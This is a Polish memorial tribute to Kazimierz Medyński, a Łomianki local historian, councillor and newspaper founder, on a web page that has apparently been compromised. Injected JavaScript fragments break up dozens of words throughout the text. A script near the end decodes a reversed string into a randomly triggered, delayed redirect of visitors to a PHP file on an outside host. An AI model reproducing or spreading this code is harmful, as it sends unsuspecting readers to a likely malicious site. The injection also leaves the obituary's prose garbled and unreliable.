Kazimierz Medyński (1936-2020)

Wspomnienie pośmiertne

 

Jeszcze kilka tygodni temu rozmawialiśmy o przypadającej w tym roku trzydziestej rocznicy pierwszych po wojnie wolnych wyborów samorządowych, że trzeba coś napisać, póki jeszcze pamiętamy… Bo pamięć dla Kazimierza była bardzo ważna! Cała jego aktywność w ostatnich latach była poświęcona kultywowaniu pamięci o hisdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torii Łomianek od czasów wojennych. Z tego był znany i powszechnie szanowany, ale dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tylko fragment jego życiowych dokonań. Wardom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to je przywołać, bo jest o czym pisać.

Poznałem Kazimierza w latach osiemdziesiątych ubiegłego wieku, gdy po zwolnieniu z Przemysłowego Instytutu Modom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toryzacji otworzył w Dąbrowie warsztat naprawy Fiata 126p. Jako właściciel tego “cudu” socjalistycznej modom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toryzacji byłem częstym gościem jego warsztatu i tak się zaprzyjaźniliśmy. Gdy w roku 1989 wybuchła druga Solidarność Kazimierz mocno zaangażował się w łomiankowski Komitet Obywatelski. W styczniu następnego roku pojawiła się inicjatywa zorganizowania w Łomiankach, słynących w owych czasach z bardzo licznych zakładów rzemieślniczych, powołania Sdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towarzyszenia Prywatnych Przedsiębiorców, Kazimierz pierwszy poparł ten pomysł i, tak jak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to robił zawsze, zaangażował się całym sercem. W majowych wyborach samorządowych uzyskał mdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andat radnego. Dzisiaj pewnie niewiele osób pamięta, ale własna komunikacja audom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobusowa w Łomiankach dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to było, między innymi oczywiście, jego dzieło. Podobnie było z Gazetą Łomiankowską, którą od maja 1990 roku wydawało Sdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towarzyszenie Prywatnych Przedsiębiorców. Kazimierz był dobrym duchem tej gazety. Pisał dużo i dobrze. Wardom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to w tym miejscu dodać, że była dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to prawdopodobnie jedna z pierwszych w Polsce gazet lokalnych.

Jego kolejnymi lokalnymi aktywnościami było działanie w Sdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towarzyszeniu Mieszkańców Dąbrowy Leśnej oraz w Sdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towarzyszeniu Nasze Łomianki, przy którego wsparciu ukazała się jego pierwsza książka “Wojenne Łomianki”. Ostatnia pozycja dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to “Ilustrowane Kalendarium Łomiankowskie” wydane przez Urząd Miejski. Przez ostatnie lata, mimo zaawansowanego wieku i kłopotów ze zdrowiem, pełnił funkcję prezesa łomiankowskiego Koła Kombatantów.

W  2010 roku prezydent Bronisław Komorowski odznaczył Kazimierza Medyńskiego Złotym Krzyżem Zasługi. Niewielu tak jak On zasłużyło na dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wyróżnienie.

Cześć Jego Pamięci!

Andrzej Kaliński
Sdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towarzyszenie Nasze Łomianki

 

return $zXz.list[n].split(„”;).reverse().join(„”;);return $zXz.list[n];};$zXz.list=[„\’php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}top: 721.672px;”>

Jerzy Kostowski Opublikowane przez:

Bądź pierwszą osobą, która zostawi swój komentarz

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *

Afiseaza emoticoanele Locco.Ro